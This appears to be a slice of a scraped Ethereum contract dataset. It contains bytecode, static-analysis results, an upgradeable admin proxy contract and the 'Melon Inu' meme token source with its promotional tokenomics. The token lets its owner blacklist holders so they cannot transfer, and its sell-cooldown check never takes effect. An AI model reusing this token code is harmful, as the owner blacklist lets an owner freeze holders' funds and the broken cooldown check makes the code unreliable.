fffffffffffffff160217905550613931565b826004018b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8115613a28578973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff1660018081111561397157fe5b7fa19edfd805d6b32e43b06fca7b97123aa7aa1edcbfbb7fb9a5d162fa958e270a848d8b8d600060028c6001015460018e60000160009054906101000a900460ff1660ff1614604051808973ffffffffffffffffffffffffffffffffffffffff1681526020018860ff1681526020018781526020018660038111156139f257fe5b815260200185815260200184815260200183815260200182151581526020019850505050505050505060405180910390a4613b16565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff16600180811115613a6257fe5b7fa19edfd805d6b32e43b06fca7b97123aa7aa1edcbfbb7fb9a5d162fa958e270a848d8b6001600060028c6001015460018e60000160009054906101000a900460ff1660ff1614604051808973ffffffffffffffffffffffffffffffffffffffff1681526020018860ff168152602001878152602001866003811115613ae457fe5b815260200185815260200184815260200183815260200182151581526020019850505050505050505060405180910390a45b8986945094505050505b965096945050505050565b6040518060c00160405280600060ff16815260200160008152602001606081526020016060815260200160608152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b6040518060800160405280600060ff1681526020016000815260200160608152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b828054828255906000526020600020908101928215613c34579160200282015b82811115613c335782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190613bdb565b5b509050613c419190613c45565b5090565b5b80821115613c7c57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101613c46565b509056fe5573657220646f6573206e6f742065786973742c20706c656173652072656769737465722066697273742e5468652063757272656e74205833206c6576656c20686173206265656e206163746976617465642e5468652063757272656e74205834206c6576656c20686173206265656e206163746976617465642ea26469706673582212207080f1716cb5b90b1791c559f4482011ec905094f79af142954add7a42b8873b64736f6c63430007020033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,482 |
0x898111d1F4eB55025D0036568212425EE2274082
|
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(
gas(),
implementation,
0,
calldatasize(),
0,
0
)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(
IMPLEMENTATION_SLOT ==
bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)
);
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
"Cannot set a proxy implementation to a non-contract address"
);
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(
address _logic,
address _admin,
bytes memory _data
) public payable UpgradeabilityProxy(_logic, _data) {
assert(
ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)
);
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(
newAdmin != address(0),
"Cannot change the admin of a proxy to the zero address"
);
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(
msg.sender != _admin(),
"Cannot call fallback function from the proxy admin"
);
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122055b4bb6e5e885bb575b1eaeda884b5e8f8c0767b65241a03b53e34c49c54fca564736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,483 |
0x7ba38daf5ab89232624ffcf326ff7d6dadb8f111
|
/**
*Submitted for verification at Etherscan.io on 2022-03-01
*/
/*
888b d888 8888888888 888 .d88888b. 888b 888 8888888 888b 888 888 888
8888b d8888 888 888 d88P" "Y88b 8888b 888 888 8888b 888 888 888
88888b.d88888 888 888 888 888 88888b 888 888 88888b 888 888 888
888Y88888P888 8888888 888 888 888 888Y88b 888 888 888Y88b 888 888 888
888 Y888P 888 888 888 888 888 888 Y88b888 888 888 Y88b888 888 888
888 Y8P 888 888 888 888 888 888 Y88888 888 888 Y88888 888 888
888 " 888 888 888 Y88b. .d88P 888 Y8888 888 888 Y8888 Y88b. .d88P
888 888 8888888888 88888888 "Y88888P" 888 Y888 8888888 888 Y888 "Y88888P"
MELON INU 🍈🍈 is a meme coin project. Melon INU combines the essence of two of the most trending memes, ELON and MEAN token, together, making it the most captivating coin one has ever seen on the cryptocurrency scene.
Tokenomics:
Total Supply: 10,000,000,000
Initial LP: 4 ETH
Max Buy: 1% (100,000,000)
Max Hold: 2% (200,000,000)
12% Tax in Total:
5% Water (Liquidity)
3% Sprinkler (Marketing)
2% DDT (ClC₆H₄)₂CH (Burn)
2% Seed (Development team)
https://meloninu.io/
https://t.me/meloninutoken
https://twitter.com/mEloninutoken
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MELONINU is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Melon Inu";
string public constant symbol = unicode"MELONINU";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
_isExcludedFromFee[address(0xdead)] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (10 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/6;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 100000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy >= 100000000 * 10**9);
require(maxheld >= 200000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0);
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 12 && sell < 12 );
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105ac578063db92dbb6146105c1578063dcb0e0ad146105d6578063dd62ed3e146105f6578063e8078d941461063c57600080fd5b8063a3f4782f14610537578063a9059cbb14610557578063b515566a14610577578063c3c8cd801461059757600080fd5b806373f54a11116100dc57806373f54a11146104a55780638da5cb5b146104c557806394b8d8f2146104e357806395d89b411461050357600080fd5b8063590f897e146104455780636fc3eaec1461045b57806370a0823114610470578063715018a61461049057600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103b657806340b9a54b146103ef57806345596e2e1461040557806349bd5a5e1461042557600080fd5b806327f3a72a14610344578063313ce5671461035957806331c2d8471461038057806332d873d8146103a057600080fd5b8063104ce66d116101c1578063104ce66d146102bb57806318160ddd146102f35780631940d0201461030e57806323b872dd1461032457600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b3146102695780630b78f9c01461029957600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025c604051806040016040528060098152602001684d656c6f6e20496e7560b81b81525081565b60405161021e91906119ea565b34801561027557600080fd5b50610289610284366004611a64565b610651565b604051901515815260200161021e565b3480156102a557600080fd5b506102b96102b4366004611a90565b610667565b005b3480156102c757600080fd5b506008546102db906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b3480156102ff57600080fd5b50678ac7230489e80000610214565b34801561031a57600080fd5b50610214600e5481565b34801561033057600080fd5b5061028961033f366004611ab2565b6106e7565b34801561035057600080fd5b5061021461073b565b34801561036557600080fd5b5061036e600981565b60405160ff909116815260200161021e565b34801561038c57600080fd5b506102b961039b366004611b09565b61074b565b3480156103ac57600080fd5b50610214600f5481565b3480156103c257600080fd5b506102896103d1366004611bce565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103fb57600080fd5b50610214600a5481565b34801561041157600080fd5b506102b9610420366004611beb565b6107d7565b34801561043157600080fd5b506009546102db906001600160a01b031681565b34801561045157600080fd5b50610214600b5481565b34801561046757600080fd5b506102b9610840565b34801561047c57600080fd5b5061021461048b366004611bce565b61086d565b34801561049c57600080fd5b506102b9610888565b3480156104b157600080fd5b506102b96104c0366004611bce565b610905565b3480156104d157600080fd5b506000546001600160a01b03166102db565b3480156104ef57600080fd5b506010546102899062010000900460ff1681565b34801561050f57600080fd5b5061025c604051806040016040528060088152602001674d454c4f4e494e5560c01b81525081565b34801561054357600080fd5b506102b9610552366004611a90565b610973565b34801561056357600080fd5b50610289610572366004611a64565b6109c8565b34801561058357600080fd5b506102b9610592366004611b09565b6109d5565b3480156105a357600080fd5b506102b9610aee565b3480156105b857600080fd5b506102b9610b24565b3480156105cd57600080fd5b50610214610bc6565b3480156105e257600080fd5b506102b96105f1366004611c12565b610bde565b34801561060257600080fd5b50610214610611366004611c2f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064857600080fd5b506102b9610c51565b600061065e338484610f97565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068757600080fd5b600c821080156106975750600c81105b6106a057600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106f48484846110bb565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610723908490611c7e565b9050610730853383610f97565b506001949350505050565b60006107463061086d565b905090565b6008546001600160a01b0316336001600160a01b03161461076b57600080fd5b60005b81518110156107d35760006005600084848151811061078f5761078f611c95565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107cb81611cab565b91505061076e565b5050565b6008546001600160a01b0316336001600160a01b0316146107f757600080fd5b6000811161080457600080fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461086057600080fd5b4761086a81611687565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108bb5760405162461bcd60e51b81526004016108b290611cc6565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461092557600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610835565b6008546001600160a01b0316336001600160a01b03161461099357600080fd5b67016345785d8a00008210156109a857600080fd5b6702c68af0bb1400008110156109bd57600080fd5b600d91909155600e55565b600061065e3384846110bb565b6000546001600160a01b031633146109ff5760405162461bcd60e51b81526004016108b290611cc6565b60005b81518110156107d35760095482516001600160a01b0390911690839083908110610a2e57610a2e611c95565b60200260200101516001600160a01b031614158015610a7f575060075482516001600160a01b0390911690839083908110610a6b57610a6b611c95565b60200260200101516001600160a01b031614155b15610adc57600160056000848481518110610a9c57610a9c611c95565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610ae681611cab565b915050610a02565b6008546001600160a01b0316336001600160a01b031614610b0e57600080fd5b6000610b193061086d565b905061086a816116c1565b6000546001600160a01b03163314610b4e5760405162461bcd60e51b81526004016108b290611cc6565b60105460ff1615610b9b5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016108b2565b6010805460ff1916600117905542600f5567016345785d8a0000600d556702c68af0bb140000600e55565b600954600090610746906001600160a01b031661086d565b6008546001600160a01b0316336001600160a01b031614610bfe57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610835565b6000546001600160a01b03163314610c7b5760405162461bcd60e51b81526004016108b290611cc6565b60105460ff1615610cc85760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016108b2565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d043082678ac7230489e80000610f97565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d669190611cfb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610db3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd79190611cfb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e24573d6000803e3d6000fd5b505050506040513d